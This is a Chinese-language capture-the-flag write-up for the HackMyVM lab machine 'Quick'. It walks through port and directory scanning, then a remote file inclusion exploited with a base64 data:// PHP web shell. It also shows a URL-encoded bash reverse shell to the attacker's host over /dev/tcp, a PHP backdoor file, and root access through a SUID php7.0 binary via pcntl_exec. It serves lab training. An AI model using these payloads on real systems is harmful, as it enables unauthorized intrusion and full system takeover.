靶机链接:https://hackmyvm.eu/machines/machine.php?vm=Quick
难度:⭐️⭐️
知识点:RFI SUID提权
端口扫描
Nmap scan report for 192.168.9.5
Host is up (0.00050s latency).
Not shown: 999 closed tcp ports (conn-refused)
PORT STATE SERVICE
80/tcp open http
目录扫描
[17:42:29] 200 - 771B - /about.php
[17:42:36] 200 - 616B - /contact.php
[17:42:40] 200 - 1KB - /home.php
[17:42:40] 200 - 630B - /images/
[17:42:40] 301 - 311B - /images -> http://192.168.9.5/images/
访问一下
about.php
发现主页有一个about按钮,点击后
会发现下面的内容就是about.php里面的
结合一下这个Url
/index.php?page=about
很容易猜测出这里有个是有一个文件包含,这里包含了about.php所以这个界面就显示了/about.php的内容
这里我们就要看是本地包含 还是远程文件包含了
先测试远程文件包含
同网段下的kali新建一个test.php 然后里面随便写点东西
然后用Python启一个http服务
echo '123123123' >test.php
python3 -m http.server
访问网站
http://192.168.9.5/index.php?page=http://192.168.9.3/test
成功实现远程文件包含
好处: 直接传数据,不用包含远程服务器上的文件
参考文章:Quick
payload:
page=data://text/plain;base64,PD9waHAgc3lzdGVtKCRfR0VUWydjbWQnXSk7ZWNobyAnb2snIDs/Pg==
这行 PHP 代码使用数据 URL (data URI) 直接在 PHP 代码中提供数据,而无需访问外部文件。 data:// 表示这是一个数据url text/plain :指定数据的 MIME 类型,这里为纯文本。 ;base64 使用base64编码 避免特殊字符出错 PD9waHAgc3lzdGVtKCRfR0VUWydjbWQnXSk7ZWNobyAnb2snIDs/Pg== 编码数据 解码为
<?php system($\_GET['cmd']);echo 'ok' ;?></p>
执行后成功输出ok
我们传入参数cmd 执行命令
成功执行,然后反弹shell,这里需要用url编码
cmd=bash%20-c%20%27bash%20-i%20%3E%26%20%2Fdev%2Ftcp%2F192.168.9.3%2F1234%200%3E%261%27
在kali中启动一个服务器
python3 -m http.server 1122
服务器上写一个系统马门
<?php
system($\_GET['cmd']);
echo 'okok');
?>
远程包含后门文件
这里我们不需要加上.php 因为他会自动给我们补上,
这里也可以绕过这个.php
如利用问号 井号绕过等
使用#绕过时请用url编码
(remote) www-data@quick:/tmp$ find / -perm -4000 2>/dev/null
/snap/core20/1828/usr/bin/chfn
/snap/core20/1828/usr/bin/chsh
/snap/core20/1828/usr/bin/gpasswd
/snap/core20/1828/usr/bin/mount
/snap/core20/1828/usr/bin/newgrp
/snap/core20/1828/usr/bin/passwd
/snap/core20/1828/usr/bin/su
/snap/core20/1828/usr/bin/sudo
/snap/core20/1828/usr/bin/umount
/snap/core20/1828/usr/lib/dbus-1.0/dbus-daemon-launch-helper
/snap/core20/1828/usr/lib/openssh/ssh-keysign
/snap/snapd/18357/usr/lib/snapd/snap-confine
/usr/lib/dbus-1.0/dbus-daemon-launch-helper
/usr/lib/policykit-1/polkit-agent-helper-1
/usr/lib/openssh/ssh-keysign
/usr/lib/snapd/snap-confine
/usr/lib/eject/dmcrypt-get-device
/usr/bin/at
/usr/bin/sudo
/usr/bin/umount
/usr/bin/mount
/usr/bin/chsh
/usr/bin/su
/usr/bin/chfn
/usr/bin/gpasswd
/usr/bin/php7.0
/usr/bin/newgrp
/usr/bin/pkexec
/usr/bin/passwd
/usr/bin/fusermount
这里面发现php具有suid权限
cd /usr/bin
CMD="/bin/sh"
./php7.0 -r "pcntl\_exec('/bin/sh', ['-p']);"